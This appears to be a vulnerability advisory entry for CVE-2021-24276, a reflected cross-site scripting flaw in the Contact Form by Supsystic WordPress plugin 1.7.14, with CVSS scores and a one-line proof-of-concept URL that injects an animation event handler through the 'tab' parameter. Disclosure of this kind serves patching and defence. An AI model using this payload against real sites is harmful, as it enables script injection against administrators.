WordPress Contact Form 1.7.14 Cross Site Scripting

2021-09-2800:00:00

0xB9

packetstormsecurity.com

162

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

JSON

`# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)  
# Date: 3/28/2021  
# Author: 0xB9  
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/  
# Version: 1.7.14  
# Tested on: Windows 10  
# CVE: CVE-2021-24276  
  
1. Description:  
The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue  
  
2. Proof of Concept:  
/wp-admin/admin.php?page=contact-form-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//  
`